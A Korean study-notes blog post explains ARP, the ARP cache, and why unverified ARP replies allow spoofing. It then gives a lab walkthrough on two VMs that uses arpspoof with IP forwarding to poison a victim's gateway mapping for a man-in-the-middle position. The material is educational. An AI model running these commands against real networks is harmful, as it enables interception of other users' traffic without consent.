Network

네트워크 기초 정리 :: ARP 심화와 ARP 스푸핑

gamjadori 2026. 10. 6. 11:35
728x90

네트워크 기초 정리 :: ARP 심화와 ARP 스푸핑


ARP(Address Resolution Protocol)
IP 주소를 MAC 주소로 변환해주는 프로토콜
같은 네트워크 안에서 통신하려면 결국 MAC 주소가 필요한데, ARP가 “이 IP를 가진 기기의 MAC 주소가 뭐야?“를 물어보고 답을 받아오는 역할

ARP 캐시란
한 번 물어본 IP-MAC 매핑을 매번 다시 묻지 않도록 임시로 저장해두는 테이블
arp -a

>> 현재 알고 있는 IP와 그에 대응하는 MAC 주소 목록이 출력됨

ARP의 근본적인 약점
ARP는 원래 응답이 진짜인지 검증하는 기능이 없이 설계됨
누군가 “나는 192.168.0.1이야”라고 가짜 ARP 응답을 보내면, 상대방은 별다른 의심 없이 그걸 캐시에 저장해버림

ARP 스푸핑: 공격자가 가짜 ARP 응답을 계속 보내서, 피해자의 ARP 캐시에 “게이트웨이 IP = 공격자의 MAC 주소”처럼 잘못된 정보를 심는 공격
이렇게 되면 피해자가 외부로 보내는 트래픽이 실제 게이트웨이가 아니라 공격자를 거쳐가게 됨 — 중간자 공격(MITM)의 대표적인 시작점



━━━━━━━━━━━━━━━━━━

실습: ARP 스푸핑 재현하기

준비물
실습용 VM 2대(공격자 역할, 피해자 역할), arpspoof 도구
sudo apt install dsniff -y



1단계: 정상 상태의 ARP 캐시 확인
피해자 VM에서 arp -a

>> 게이트웨이 IP에 정상적인 MAC 주소가 매핑

2단계: 공격자 VM에서 IP 포워딩 활성화
sudo sysctl -w net.ipv4.ip_forward=1


공격자가 중간에서 트래픽을 가로챈 뒤 정상적으로 전달도 해줘야 피해자가 눈치채기 어려움

3단계: ARP 스푸핑 실행
sudo arpspoof -i eth0 -t 피해자IP 게이트웨이IP

>> 공격자가 피해자에게 계속 가짜 ARP 응답을 보내기 시작

4단계: 피해자 VM에서 ARP 캐시 다시 확인
arp -a

>> 게이트웨이 IP에 매핑된 MAC 주소가 공격자의 MAC 주소로 바뀐 것 확인